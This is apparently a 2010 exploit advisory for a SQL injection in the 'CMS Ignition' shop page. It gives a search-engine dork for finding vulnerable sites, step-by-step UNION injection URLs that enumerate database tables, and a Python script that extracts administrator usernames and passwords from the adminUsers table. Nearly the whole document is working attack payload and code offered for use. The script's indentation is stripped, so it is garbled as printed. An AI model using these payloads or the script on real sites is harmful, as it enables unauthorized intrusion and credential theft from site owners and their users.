CMS Ignition SQL Injection

`|------------------------------------------------|  
| neavorc[@]gmail[dot]com |  
==================================================  
  
[+] SQL Injection Vulnerability  
[+] Dorks: allinurl:"shop.htm?shopMGID="  
[+] Bug in shop.htm?shopMGID  
[+] Exploit: http://www.site.com/shop.htm?shopMGID=XXXX (see below python exploit)  
[+]  
==================================================  
  
Step[1]:  
Error  
http://www.site.com/shop.htm?shopMGID=9999'  
  
Step[2]:  
Number of columns  
http://www.site.com/shop.htm?shopMGID=9999+order+by+1--  
  
Step[3]:  
Output of numbers  
http://www.site.com/shop.htm?shopMGID=-9999+union+select+1,2,3,4,5--  
  
Step[4]:  
Collect informations  
http://www.site.com/shop.htm?shopMGID=-9999+union+select+version(),database(),3,4,5+from+information_schema.columns--  
  
Step[5]:  
If version is  
5.0.67-community  
5.0.32-Debian_7etch8-log  
5.0.40-log  
http://www.site.com/shop.htm?shopMGID=-9999+union+select+1,2,concat_ws(0x3a,table_schema,table_name,column_name),4,5+from+information_schema.columns--  
  
Step[6]:  
Increment zero in "limit+0,1--" until you have interesting tables and columns  
http://www.site.com/shop.htm?shopMGID=-9999+union+select+1,2,concat_ws(0x3a,table_schema,table_name,column_name),4,5+from+information_schema.columns+limit+0,1--  
  
Step[7]:  
Get the content  
(fiction tables in this example)  
http://www.site.com/shop.htm?shopMGID=-9999+union+select+1,2,concat_ws(0x3a,username,password),4,5+user--  
  
==================================================  
  
[+] Contact:  
- neavorc[at]gmail.com  
  
==================================================  
Discovered by NEAVORC  
Cheers'n'Oi  
  
==================================================  
  
# Exploit Title: CMS Ignition SQL Injection  
# Date: 25/08/2010 [DD:MM:JJJJ]  
# Author: NEAVORC  
# Software Link: http://www.finegrafix.co.za/  
# http://www.finegrafix.co.za/cmsignition.htm  
# Dork: Dorks: allinurl:"shop.htm?shopMGID="   
  
import urllib ,sys,os  
if len(sys.argv)!=2:  
os.system('cls')  
os.system('clear')  
print "==============================================================================="  
print "============== CMSignition Exploit ||| NEAVORC[@]gmail[.]com ==============="  
print "==============================================================================="  
print "== Take the Admin username and the password from the tagrt page =="  
print "=Usage: ./exploit.py <injection> =="  
print "=Exmpl: ./exploit.py <http://www.site.com/shop.htm?shopMGID=131> =="  
print "==============================================================================="  
sys.exit(1)  
global url,end,injection,i   
url = sys.argv[1]  
url = url.replace("=","=-")  
end = "+from+adminUsers--"  
injection = "+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat_ws(0x3a,0x6F7574707574,username,password,0x6861636B6564),22,23,24,25,26,27,28,29,"  
os.system('cls')  
print "==============================================================================="  
print "================= SQLi Exploit ||| NEAVORC[@]gmail[.]com ================="  
print "==============================================================================="  
print "== Exploiting Please wait... =="  
print "==============================================================================="  
  
if url[:7] != "http://":  
print "Url correction...."  
url = "http://"+url  
print "To : "+url  
try:  
i = 30  
while i <=70:  
global full_inj  
injection = injection+str(i)+","  
full_inj = url+injection[:-1]+end  
f = urllib.urlopen(full_inj)  
s = f.read()  
if "output:" in s:  
begin = int(s.find("output"))  
end = int(s.find("hacked"))  
columns = full_inj[-20:-18]  
os.system('cls')  
print "==============================================================================="  
print "================= SQLi Exploit ||| NEAVORC[@]gmail[.]com ================="  
print "==============================================================================="   
print "================= Administrator: "+s[begin:end-1]  
print "================= Columns: "+columns  
print "==============================================================================="  
print "============== Exploit by NEAVORC[at]gmail.com ==========="  
i = i+1  
except(TypeError):  
exit  
  
`